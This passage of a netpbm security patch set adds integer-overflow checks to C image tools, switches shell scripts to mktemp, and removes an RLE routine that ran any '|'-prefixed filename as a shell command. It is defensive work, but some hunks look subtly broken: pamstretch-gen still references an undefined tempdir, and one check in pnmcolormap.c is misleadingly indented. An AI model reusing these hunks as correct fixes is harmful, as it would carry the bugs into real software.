     MALLOCARRAY(*gtableP, maxval+1);
     MALLOCARRAY(*btableP, maxval+1);
diff -up netpbm-10.47.04/editor/pnmhisteq.c.security netpbm-10.47.04/editor/pnmhisteq.c
--- netpbm-10.47.04/editor/pnmhisteq.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmhisteq.c	2009-10-21 15:09:34.000000000 +0200
@@ -103,6 +103,7 @@ computeLuminosityHistogram(xel * const *
     unsigned int pixelCount;
     unsigned int * lumahist;
 
+    overflow_add(maxval, 1);
     MALLOCARRAY(lumahist, maxval + 1);
     if (lumahist == NULL)
         pm_error("Out of storage allocating array for %u histogram elements",
diff -up netpbm-10.47.04/editor/pnmindex.csh.security netpbm-10.47.04/editor/pnmindex.csh
--- netpbm-10.47.04/editor/pnmindex.csh.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmindex.csh	2009-10-21 15:09:34.000000000 +0200
@@ -1,5 +1,8 @@
 #!/bin/csh -f
 #
+echo "Unsafe code, needs debugging, do not ship"
+exit 1
+#
 # pnmindex - build a visual index of a bunch of anymaps
 #
 # Copyright (C) 1991 by Jef Poskanzer.
diff -up netpbm-10.47.04/editor/pnmpad.c.security netpbm-10.47.04/editor/pnmpad.c
--- netpbm-10.47.04/editor/pnmpad.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmpad.c	2009-10-21 15:33:51.000000000 +0200
@@ -527,6 +527,8 @@ main(int argc, const char ** argv) {
 
     computePadSizes(cmdline, cols, rows, &lpad, &rpad, &tpad, &bpad);
 
+    overflow_add(cols, lpad);
+    overflow_add(cols + lpad, rpad);
     newcols = cols + lpad + rpad;
 
     if (PNM_FORMAT_TYPE(format) == PBM_TYPE)
diff -up netpbm-10.47.04/editor/pnmpaste.c.security netpbm-10.47.04/editor/pnmpaste.c
diff -up netpbm-10.47.04/editor/pnmremap.c.security netpbm-10.47.04/editor/pnmremap.c
--- netpbm-10.47.04/editor/pnmremap.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmremap.c	2009-10-21 15:28:20.000000000 +0200
@@ -408,7 +408,7 @@ initFserr(struct pam *   const pamP,
     unsigned int plane;
 
     unsigned int const fserrSize = pamP->width + 2;
-
+    overflow_add(pamP->width, 2);
     fserrP->width = pamP->width;
 
     MALLOCARRAY(fserrP->thiserr, pamP->depth);
@@ -444,6 +444,7 @@ floydInitRow(struct pam * const pamP, st
 
     int col;
     
+    overflow_add(pamP->width, 2);
     for (col = 0; col < pamP->width + 2; ++col) {
         unsigned int plane;
         for (plane = 0; plane < pamP->depth; ++plane) 
diff -up netpbm-10.47.04/editor/pnmscalefixed.c.security netpbm-10.47.04/editor/pnmscalefixed.c
--- netpbm-10.47.04/editor/pnmscalefixed.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmscalefixed.c	2009-10-21 15:09:34.000000000 +0200
@@ -211,6 +211,8 @@ compute_output_dimensions(const struct c
                           const int rows, const int cols,
                           int * newrowsP, int * newcolsP) {
 
+    overflow2(rows, cols);
+
     if (cmdline.pixels) {
         if (rows * cols <= cmdline.pixels) {
             *newrowsP = rows;
@@ -262,6 +264,8 @@ compute_output_dimensions(const struct c
 
     if (*newcolsP < 1) *newcolsP = 1;
     if (*newrowsP < 1) *newrowsP = 1;
+    
+    overflow2(*newcolsP, *newrowsP);
 }        
 
 
@@ -443,6 +447,9 @@ main(int argc, char **argv ) {
        unfilled.  We can address that by stretching, whereas the other
        case would require throwing away some of the input.
     */
+    
+    overflow2(newcols, SCALE);
+    overflow2(newrows, SCALE);
     sxscale = SCALE * newcols / cols;
     syscale = SCALE * newrows / rows;
 
diff -up netpbm-10.47.04/editor/pnmshear.c.security netpbm-10.47.04/editor/pnmshear.c
--- netpbm-10.47.04/editor/pnmshear.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmshear.c	2009-10-21 15:31:26.000000000 +0200
@@ -15,6 +15,7 @@
 #include <assert.h>
 #include <math.h>
 #include <string.h>
+#include <limits.h>
 
 #include "pm_c_util.h"
 #include "ppm.h"
@@ -236,6 +237,11 @@ main(int argc, char * argv[]) {
 
     shearfac = fabs(tan(cmdline.angle));
 
+    if(rows * shearfac >= INT_MAX-1)
+      pm_error("image too large");
+    
+    overflow_add(rows * shearfac, cols+1);
+
     newcols = rows * shearfac + cols + 0.999999;
 
     pnm_writepnminit(stdout, newcols, rows, newmaxval, newformat, 0);
diff -up netpbm-10.47.04/editor/ppmdither.c.security netpbm-10.47.04/editor/ppmdither.c
--- netpbm-10.47.04/editor/ppmdither.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmdither.c	2009-10-21 15:09:34.000000000 +0200
@@ -111,6 +111,9 @@ dith_matrix(unsigned int const dith_dim)
             (dith_dim * sizeof(int *)) + /* pointers */
             (dith_dim * dith_dim * sizeof(int)); /* data */
 
+        overflow2(dith_dim, sizeof(int *));
+        overflow3(dith_dim, dith_dim, sizeof(int));
+        overflow_add(dith_dim * sizeof(int *), dith_dim * dith_dim * sizeof(int));
         dith_mat = (unsigned int **) malloc(dith_mat_sz);
 
         if (dith_mat == NULL) 
@@ -165,7 +168,8 @@ dith_setup(const unsigned int dith_power
     if (dith_nb < 2) 
         pm_error("too few shades for blue, minimum of 2");
 
-    MALLOCARRAY(*colormapP, dith_nr * dith_ng * dith_nb);
+    overflow2(dith_nr, dith_ng);
+    *colormapP = malloc3(dith_nr * dith_ng, dith_nb,  sizeof(pixel));
     if (*colormapP == NULL) 
         pm_error("Unable to allocate space for the color lookup table "
                  "(%d by %d by %d pixels).", dith_nr, dith_ng, dith_nb);
diff -up netpbm-10.47.04/editor/specialty/pamoil.c.security netpbm-10.47.04/editor/specialty/pamoil.c
--- netpbm-10.47.04/editor/specialty/pamoil.c.security	2009-10-21 13:38:56.000000000 +0200
+++ netpbm-10.47.04/editor/specialty/pamoil.c	2009-10-21 15:09:33.000000000 +0200
@@ -112,6 +112,7 @@ main(int argc, char *argv[] ) {
     tuples = pnm_readpam(ifp, &inpam, PAM_STRUCT_SIZE(tuple_type));
     pm_close(ifp);
 
+    overflow_add(inpam.maxval, 1);
     MALLOCARRAY(hist, inpam.maxval + 1);
     if (hist == NULL)
         pm_error("Unable to allocate memory for histogram.");
diff -up netpbm-10.47.04/generator/pbmpage.c.security netpbm-10.47.04/generator/pbmpage.c
--- netpbm-10.47.04/generator/pbmpage.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pbmpage.c	2009-10-21 15:09:34.000000000 +0200
@@ -170,6 +170,9 @@ outputPbm(FILE *        const file,
     /* We round the allocated row space up to a multiple of 8 so the ugly
        fast code below can work.
        */
+    
+    overflow_add(bitmap.Width, 7);
+    
     pbmrow = pbm_allocrow(((bitmap.Width+7)/8)*8);
     
     bitmap_cursor = 0;
diff -up netpbm-10.47.04/generator/pbmtext.c.security netpbm-10.47.04/generator/pbmtext.c
--- netpbm-10.47.04/generator/pbmtext.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pbmtext.c	2009-10-21 15:23:15.000000000 +0200
@@ -96,12 +96,14 @@ parseCommandLine(int argc, const char **
         
         for (i = 1; i < argc; ++i) {
             if (i > 1) {
+                overflow_add(totaltextsize, 1);
                 totaltextsize += 1;
                 text = realloc(text, totaltextsize);
                 if (text == NULL)
                     pm_error("out of memory allocating space for input text");
                 strcat(text, " ");
             } 
+            overflow_add(totaltextsize, strlen(argv[i]));
             totaltextsize += strlen(argv[i]);
             text = realloc(text, totaltextsize);
             if (text == NULL)
@@ -711,6 +713,7 @@ getText(const char          cmdline_text
                 pm_error("A line of input text is longer than %u characters."
                          "Cannot process.", sizeof(buf)-1);
             if (lineCount >= maxlines) {
+                overflow2(maxlines, 2);
                 maxlines *= 2;
                 REALLOCARRAY(text_array, maxlines);
                 if (text_array == NULL)
@@ -831,6 +834,7 @@ main(int argc, const char *argv[]) {
             hmargin = fontP->maxwidth;
         } else {
             vmargin = fontP->maxheight;
+	    overflow2(2, fontP->maxwidth);
             hmargin = 2 * fontP->maxwidth;
         }
     }
diff -up netpbm-10.47.04/generator/pgmcrater.c.security netpbm-10.47.04/generator/pgmcrater.c
--- netpbm-10.47.04/generator/pgmcrater.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pgmcrater.c	2009-10-21 15:09:34.000000000 +0200
@@ -130,7 +130,7 @@ static void gencraters()
     /* Acquire the elevation array and initialize it to mean
        surface elevation. */
 
-    MALLOCARRAY(aux, SCRX * SCRY);
+    aux = (unsigned short *) malloc3(SCRX, SCRY, sizeof(short));
     if (aux == NULL) 
         pm_error("out of memory allocating elevation array");
 
diff -up netpbm-10.47.04/generator/pgmkernel.c.security netpbm-10.47.04/generator/pgmkernel.c
--- netpbm-10.47.04/generator/pgmkernel.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pgmkernel.c	2009-10-21 15:09:34.000000000 +0200
@@ -68,7 +68,7 @@ main ( argc, argv )
     kycenter = (fysize - 1) / 2.0;
     ixsize = fxsize + 0.999;
     iysize = fysize + 0.999;
-    MALLOCARRAY(fkernel, ixsize * iysize);
+    fkernel = (double *) malloc3 (ixsize, iysize, sizeof(double));
     for (i = 0; i < iysize; i++) 
         for (j = 0; j < ixsize; j++) {
             fkernel[i*ixsize+j] = 1.0 / (1.0 + w * sqrt((double)
diff -up netpbm-10.47.04/lib/libpam.c.security netpbm-10.47.04/lib/libpam.c
--- netpbm-10.47.04/lib/libpam.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpam.c	2009-10-21 15:09:34.000000000 +0200
@@ -235,7 +235,8 @@ allocPamRow(const struct pam * const pam
     int const bytesPerTuple = allocationDepth(pamP) * sizeof(sample);
     tuple * tuplerow;
 
-    tuplerow = malloc(pamP->width * (sizeof(tuple *) + bytesPerTuple));
+    overflow_add(sizeof(tuple *), bytesPerTuple);
+    tuplerow = malloc2(pamP->width, sizeof(tuple *) + bytesPerTuple);
                       
     if (tuplerow != NULL) {
         /* Now we initialize the pointers to the individual tuples
diff -up netpbm-10.47.04/lib/libpammap.c.security netpbm-10.47.04/lib/libpammap.c
--- netpbm-10.47.04/lib/libpammap.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpammap.c	2009-10-21 15:09:34.000000000 +0200
@@ -104,6 +104,8 @@ allocTupleIntListItem(struct pam * const
     */
     struct tupleint_list_item * retval;
 
+    overflow2(pamP->depth, sizeof(sample));
+    overflow_add(sizeof(*retval)-sizeof(retval->tupleint.tuple), pamP->depth*sizeof(sample));
     unsigned int const size = 
         sizeof(*retval) - sizeof(retval->tupleint.tuple) 
         + pamP->depth * sizeof(sample);
diff -up netpbm-10.47.04/lib/libpbm1.c.security netpbm-10.47.04/lib/libpbm1.c
--- netpbm-10.47.04/lib/libpbm1.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpbm1.c	2009-10-21 15:09:34.000000000 +0200
@@ -77,6 +77,7 @@ pbm_check(FILE * file, const enum pm_che
         pm_message("pm_filepos passed to pm_check() is %u bytes",
                    sizeof(pm_filepos));
 #endif
+        overflow2(bytes_per_row, rows);
         pm_check(file, check_type, need_raster_size, retval_p);
     }
 }
diff -up netpbm-10.47.04/lib/libpbmvms.c.security netpbm-10.47.04/lib/libpbmvms.c
--- netpbm-10.47.04/lib/libpbmvms.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpbmvms.c	2009-10-21 15:09:34.000000000 +0200
@@ -1,3 +1,5 @@
+#warning "NOT AUDITED"
+
 /***************************************************************************
   This file contains library routines needed to build Netpbm for VMS.
   However, as of 2000.05.26, when these were split out of libpbm1.c
diff -up netpbm-10.47.04/lib/libpm.c.security netpbm-10.47.04/lib/libpm.c
--- netpbm-10.47.04/lib/libpm.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpm.c	2009-10-21 15:09:34.000000000 +0200
@@ -827,4 +827,53 @@ pm_parse_height(const char * const arg) 
 }
 
 
+/*
+ *	Maths wrapping
+ */
+ 
+void __overflow2(int a, int b)
+{
+	if(a < 0 || b < 0)
+		pm_error("object too large");
+	if(b == 0)
+		return;
+	if(a > INT_MAX / b)
+		pm_error("object too large");
+}
+
+void overflow3(int a, int b, int c)
+{
+	overflow2(a,b);
+	overflow2(a*b, c);
+}
+
+void overflow_add(int a, int b)
+{
+	if( a > INT_MAX - b)
+		pm_error("object too large");
+}
+
+void *malloc2(int a, int b)
+{
+	overflow2(a, b);
+	if(a*b == 0)
+		pm_error("Zero byte allocation");
+	return malloc(a*b);
+}
+
+void *malloc3(int a, int b, int c)
+{
+	overflow3(a, b, c);
+	if(a*b*c == 0)
+		pm_error("Zero byte allocation");
+	return malloc(a*b*c);
+}
+
+void *realloc2(void * a, int b, int c)
+{
+	overflow2(b, c);
+	if(b*c == 0)
+		pm_error("Zero byte allocation");
+	return realloc(a, b*c);
+}
 
diff -up netpbm-10.47.04/lib/pm.h.security netpbm-10.47.04/lib/pm.h
--- netpbm-10.47.04/lib/pm.h.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/pm.h	2009-10-21 15:09:34.000000000 +0200
@@ -377,4 +377,11 @@ pm_parse_height(const char * const arg);
 #endif
 
 
+void *malloc2(int, int);
+void *malloc3(int, int, int);
+#define overflow2(a,b) __overflow2(a,b)
+void __overflow2(int, int);
+void overflow3(int, int, int);
+void overflow_add(int, int);
+
 #endif
diff -up netpbm-10.47.04/other/pnmcolormap.c.security netpbm-10.47.04/other/pnmcolormap.c
--- netpbm-10.47.04/other/pnmcolormap.c.security	2009-10-21 13:38:54.000000000 +0200
+++ netpbm-10.47.04/other/pnmcolormap.c	2009-10-21 15:09:34.000000000 +0200
@@ -840,6 +840,7 @@ colormapToSquare(struct pam * const pamP
             pamP->width = intsqrt;
         else 
             pamP->width = intsqrt + 1;
+            overflow_add(intsqrt, 1);
     }
     {
         unsigned int const intQuotient = colormap.size / pamP->width;
diff -up netpbm-10.47.04/urt/README.security netpbm-10.47.04/urt/README
--- netpbm-10.47.04/urt/README.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/README	2009-10-21 15:09:34.000000000 +0200
@@ -18,3 +18,8 @@ in its initializer in the original.  But
 defines stdout as a variable, so that wouldn't compile.  So I changed
 it to NULL and added a line to rle_hdr_init to set that field to
 'stdout' dynamically.  2000.06.02 BJH.
+
+Redid the code to check for maths overflows and other crawly horrors.
+Removed pipe through and compress support (unsafe)
+
+Alan Cox <alan at redhat.com>
diff -up netpbm-10.47.04/urt/rle_addhist.c.security netpbm-10.47.04/urt/rle_addhist.c
--- netpbm-10.47.04/urt/rle_addhist.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_addhist.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_addhist.c - Add to the HISTORY comment in header
@@ -76,13 +78,19 @@ rle_addhist(char *          argv[],
         return;
     
     length = 0;
-    for (i = 0; argv[i]; ++i)
+    for (i = 0; argv[i]; ++i) {
+	overflow_add(length, strlen(argv[i]));
+	overflow_add(length+1, strlen(argv[i]));
         length += strlen(argv[i]) +1;   /* length of each arg plus space. */
+    }
 
     time(&temp);
     timedate = ctime(&temp);
     length += strlen(timedate);        /* length of date and time in ASCII. */
 
+    overflow_add(strlen(padding), 4);
+    overflow_add(strlen(histoire), strlen(padding) + 4);
+    overflow_add(length, strlen(histoire) + strlen(padding) + 4);
     length += strlen(padding) + 3 + strlen(histoire) + 1;
         /* length of padding, "on "  and length of history name plus "="*/
     if (in_hdr) /* if we are interested in the old comments... */
@@ -90,9 +98,12 @@ rle_addhist(char *          argv[],
     else
         old = NULL;
     
-    if (old && *old)
+    if (old && *old) {
+	overflow_add(length, strlen(old));
         length += strlen(old);       /* add length if there. */
+    }
 
+    overflow_add(length, 1);
     ++length;                               /*Cater for the null. */
 
     MALLOCARRAY(newc, length);
diff -up netpbm-10.47.04/urt/rle_getrow.c.security netpbm-10.47.04/urt/rle_getrow.c
--- netpbm-10.47.04/urt/rle_getrow.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_getrow.c	2009-10-21 15:09:34.000000000 +0200
@@ -17,6 +17,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_getrow.c - Read an RLE file in.
@@ -168,6 +170,7 @@ rle_get_setup(rle_hdr * const the_hdr) {
         register char * cp;
 
         VAXSHORT( comlen, infile ); /* get comment length */
+	overflow_add(comlen, 1);
         evenlen = (comlen + 1) & ~1;    /* make it even */
         if ( evenlen )
         {
diff -up netpbm-10.47.04/urt/rle_hdr.c.security netpbm-10.47.04/urt/rle_hdr.c
--- netpbm-10.47.04/urt/rle_hdr.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_hdr.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_hdr.c - Functions to manipulate rle_hdr structures.
@@ -79,7 +81,10 @@ int img_num;
     /* Fill in with copies of the strings. */
     if ( the_hdr->cmd != pgmname )
     {
-	char *tmp = (char *)malloc( strlen( pgmname ) + 1 );
+	char *tmp ;
+
+	overflow_add(strlen(pgmname), 1);
+	tmp = malloc( strlen( pgmname ) + 1 );
 	RLE_CHECK_ALLOC( pgmname, tmp, 0 );
 	strcpy( tmp, pgmname );
 	the_hdr->cmd = tmp;
@@ -87,7 +92,9 @@ int img_num;
 
     if ( the_hdr->file_name != fname )
     {
-	char *tmp = (char *)malloc( strlen( fname ) + 1 );
+	char *tmp;
+	overflow_add(strlen(fname), 1);
+	tmp = malloc( strlen( fname ) + 1 );
 	RLE_CHECK_ALLOC( pgmname, tmp, 0 );
 	strcpy( tmp, fname );
 	the_hdr->file_name = tmp;
@@ -152,6 +159,7 @@ rle_hdr *from_hdr, *to_hdr;
     if ( to_hdr->bg_color )
     {
 	int size = to_hdr->ncolors * sizeof(int);
+	overflow2(to_hdr->ncolors, sizeof(int));
 	to_hdr->bg_color = (int *)malloc( size );
 	RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->bg_color, "background color" );
 	memcpy( to_hdr->bg_color, from_hdr->bg_color, size );
@@ -160,7 +168,7 @@ rle_hdr *from_hdr, *to_hdr;
     if ( to_hdr->cmap )
     {
 	int size = to_hdr->ncmap * (1 << to_hdr->cmaplen) * sizeof(rle_map);
-	to_hdr->cmap = (rle_map *)malloc( size );
+	to_hdr->cmap = (rle_map *)malloc3( to_hdr->ncmap, 1<<to_hdr->cmaplen, sizeof(rle_map));
 	RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->cmap, "color map" );
 	memcpy( to_hdr->cmap, from_hdr->cmap, size );
     }
@@ -173,11 +181,16 @@ rle_hdr *from_hdr, *to_hdr;
 	int size = 0;
 	CONST_DECL char **cp;
 	for ( cp=to_hdr->comments; *cp; cp++ )
+	{
+	    overflow_add(size, 1);
 	    size++;		/* Count the comments. */
+ 	}
 	/* Check if there are really any comments. */
 	if ( size )
 	{
+	    overflow_add(size, 1);
 	    size++;		/* Copy the NULL pointer, too. */
+	    overflow2(size, sizeof(char *));
 	    size *= sizeof(char *);
 	    to_hdr->comments = (CONST_DECL char **)malloc( size );
 	    RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->comments, "comments" );
diff -up netpbm-10.47.04/urt/rle.h.security netpbm-10.47.04/urt/rle.h
--- netpbm-10.47.04/urt/rle.h.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle.h	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,9 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
+ *  Header declarations needed
  */
 /* 
  * rle.h - Global declarations for Utah Raster Toolkit RLE programs.
@@ -166,6 +169,17 @@ rle_hdr             /* End of typedef. *
  */
 extern rle_hdr rle_dflt_hdr;
 
+/* 
+ * Provided by pm library
+ */
+ 
+extern void overflow_add(int, int);
+#define overflow2(a,b) __overflow2(a,b)
+extern void __overflow2(int, int);
+extern void overflow3(int, int, int);
+extern void *malloc2(int, int);
+extern void *malloc3(int, int, int);
+extern void *realloc2(void *, int, int);
 
 /* Declare RLE library routines. */
 
diff -up netpbm-10.47.04/urt/rle_open_f.c.security netpbm-10.47.04/urt/rle_open_f.c
--- netpbm-10.47.04/urt/rle_open_f.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_open_f.c	2009-10-21 15:15:38.000000000 +0200
@@ -163,64 +163,7 @@ dealWithSubprocess(const char *  const f
                    bool *        const noSubprocessP,
                    const char ** const errorP) {
 
-#ifdef NO_OPEN_PIPES
     *noSubprocessP = TRUE;
-#else
-    const char *cp;
-
-    reapChildren(catchingChildrenP, pids);
-
-    /*  Real file, not stdin or stdout.  If name ends in ".Z",
-     *  pipe from/to un/compress (depending on r/w mode).
-     *  
-     *  If it starts with "|", popen that command.
-     */
-        
-    cp = file_name + strlen(file_name) - 2;
-    /* Pipe case. */
-    if (file_name[0] == '|') {
-        pid_t thepid;     /* PID from my_popen */
-
-        *noSubprocessP = FALSE;
-
-        *fpP = my_popen(file_name + 1, mode, &thepid);
-        if (*fpP == NULL)
-            *errorP = "%s: can't invoke <<%s>> for %s: ";
-        else {
-            /* One more child to catch, eventually. */
-            if (*catchingChildrenP < MAX_CHILDREN)
-                pids[(*catchingChildrenP)++] = thepid;
-        }
-    } else if (cp > file_name && *cp == '.' && *(cp + 1) == 'Z' ) {
-        /* Compress case. */
-        pid_t thepid;     /* PID from my_popen. */
-        const char * command;
-
-        *noSubprocessP = FALSE;
-        
-        if (*mode == 'w')
-            asprintfN(&command, "compress > %s", file_name);
-        else if (*mode == 'a')
-            asprintfN(&command, "compress >> %s", file_name);
-        else
-            asprintfN(&command, "compress -d < %s", file_name);
-        
-        *fpP = my_popen(command, mode, &thepid);
-
-        if (*fpP == NULL)
-            *errorP = "%s: can't invoke 'compress' program, "
-                "trying to open %s for %s";
-        else {
-            /* One more child to catch, eventually. */
-            if (*catchingChildrenP < MAX_CHILDREN)
-                pids[(*catchingChildrenP)++] = thepid;
-        }
-        strfree(command);
-    } else {
-        *noSubprocessP = TRUE;
-        *errorP = NULL;
-    }
-#endif
 }
 
 
diff -up netpbm-10.47.04/urt/rle_putcom.c.security netpbm-10.47.04/urt/rle_putcom.c
--- netpbm-10.47.04/urt/rle_putcom.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_putcom.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_putcom.c - Add a picture comment to the header struct.
@@ -98,12 +100,14 @@ rle_putcom(const char * const value,
         const char * v;
         const char ** old_comments;
         int i;
-        for (i = 2, cp = the_hdr->comments; *cp != NULL; ++i, ++cp)
+        for (i = 2, cp = the_hdr->comments; *cp != NULL; ++i, ++cp) {
+	    overflow_add(i, 1);
             if (match(value, *cp) != NULL) {
                 v = *cp;
                 *cp = value;
                 return v;
             }
+	}
         /* Not found */
         /* Can't realloc because somebody else might be pointing to this
          * comments block.  Of course, if this were true, then the
diff -up netpbm-10.47.04/urt/Runput.c.security netpbm-10.47.04/urt/Runput.c
--- netpbm-10.47.04/urt/Runput.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/Runput.c	2009-10-21 15:09:34.000000000 +0200
@@ -17,6 +17,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * Runput.c - General purpose Run Length Encoding.
@@ -202,9 +204,11 @@ RunSetup(rle_hdr * the_hdr)
     if ( the_hdr->background != 0 )
     {
 	register int i;
-	register rle_pixel *background =
-	    (rle_pixel *)malloc( (unsigned)(the_hdr->ncolors + 1) );
+	register rle_pixel *background;
 	register int *bg_color;
+
+	overflow_add(the_hdr->ncolors,1);
+	background = (rle_pixel *)malloc( (unsigned)(the_hdr->ncolors + 1) );
 	/* 
 	 * If even number of bg color bytes, put out one more to get to 
 	 * 16 bit boundary.
@@ -224,7 +228,7 @@ RunSetup(rle_hdr * the_hdr)
 	/* Big-endian machines are harder */
 	register int i, nmap = (1 << the_hdr->cmaplen) *
 			       the_hdr->ncmap;
-	register char *h_cmap = (char *)malloc( nmap * 2 );
+	register char *h_cmap = (char *)malloc2( nmap, 2 );
 	if ( h_cmap == NULL )
 	{
 	    fprintf( stderr,
diff -up netpbm-10.47.04/urt/scanargs.c.security netpbm-10.47.04/urt/scanargs.c
--- netpbm-10.47.04/urt/scanargs.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/scanargs.c	2009-10-21 15:09:34.000000000 +0200
@@ -38,6 +38,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 
 #include "rle.h"
@@ -65,8 +67,8 @@ typedef int *ptr;
 /* 
  * Storage allocation macros
  */
-#define NEW( type, cnt )	(type *) malloc( (cnt) * sizeof( type ) )
-#define RENEW( type, ptr, cnt )	(type *) realloc( ptr, (cnt) * sizeof( type ) )
+#define NEW( type, cnt )	(type *) malloc2( (cnt) , sizeof( type ) )
+#define RENEW( type, ptr, cnt )	(type *) realloc2( ptr, (cnt), sizeof( type ) )
 
 #if defined(c_plusplus) && !defined(USE_PROTOTYPES)
 #define USE_PROTOTYPES

netpbm-security-scripts.patch:
 converter/other/anytopnm |   13 +++-
 editor/pamstretch-gen    |    4 -
 editor/pnmmargin         |   32 ++++++----
 editor/ppmfade           |  137 ++++++++++++++++++++++++-----------------------
 editor/ppmquantall       |    8 --
 editor/ppmshadow         |    7 +-
 6 files changed, 108 insertions(+), 93 deletions(-)

--- NEW FILE netpbm-security-scripts.patch ---
diff -up netpbm-10.47.04/converter/other/anytopnm.security2 netpbm-10.47.04/converter/other/anytopnm
--- netpbm-10.47.04/converter/other/anytopnm.security2	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/anytopnm	2009-10-21 14:51:49.000000000 +0200
@@ -510,10 +510,7 @@ else
     inputFile="-"
 fi
 
-tempdir="${TMPDIR-/tmp}/anytopnm.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
-trap 'rm -rf $tempdir' 0
+tempdir=$(mktemp -d -t anytopnm.XXXXXXXXXX) || exit 1
 
 # Take out all spaces
 # Find the filename extension for last-ditch efforts later
@@ -539,9 +536,17 @@ if [ "$filetype" = "unknown" ]; then
     echo "$progname: unknown file type.  " \
         "'file' says mime type is '$mimeType', " 1>&2
     echo "type description is '$typeDescription'" 1>&2
+    if [ -d "$tempdir" ] ; then
+        rm -rf "$tempdir"
+    fi
+
     exit 1
     fi
 
 convertIt $file $filetype
 
+if [ -d "$tempdir" ] ; then
+    rm -rf "$tempdir"
+fi
+
 exit 0
diff -up netpbm-10.47.04/editor/pamstretch-gen.security2 netpbm-10.47.04/editor/pamstretch-gen
--- netpbm-10.47.04/editor/pamstretch-gen.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pamstretch-gen	2009-10-21 14:53:28.000000000 +0200
@@ -31,9 +31,7 @@ if [ "$1" = "" ]; then
   exit 1
 fi
 
-tempdir="${TMPDIR-/tmp}/pamstretch-gen.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
+tempfile=$(mktemp /tmp/pnmig.XXXXXXXXXX) || exit 1
 trap 'rm -rf $tempdir' 0 1 3 15
 
 tempfile=$tempdir/pnmig
diff -up netpbm-10.47.04/editor/pnmmargin.security2 netpbm-10.47.04/editor/pnmmargin
--- netpbm-10.47.04/editor/pnmmargin.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmmargin	2009-10-21 14:55:40.000000000 +0200
@@ -11,15 +11,11 @@
 # documentation.  This software is provided "as is" without express or
 # implied warranty.
 
-tempdir="${TMPDIR-/tmp}/pnmmargin.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting." 1>&2; exit 1;}
-trap 'rm -rf $tempdir' 0 1 3 15
-
-tmp1=$tempdir/pnmm1
-tmp2=$tempdir/pnmm2
-tmp3=$tempdir/pnmm3
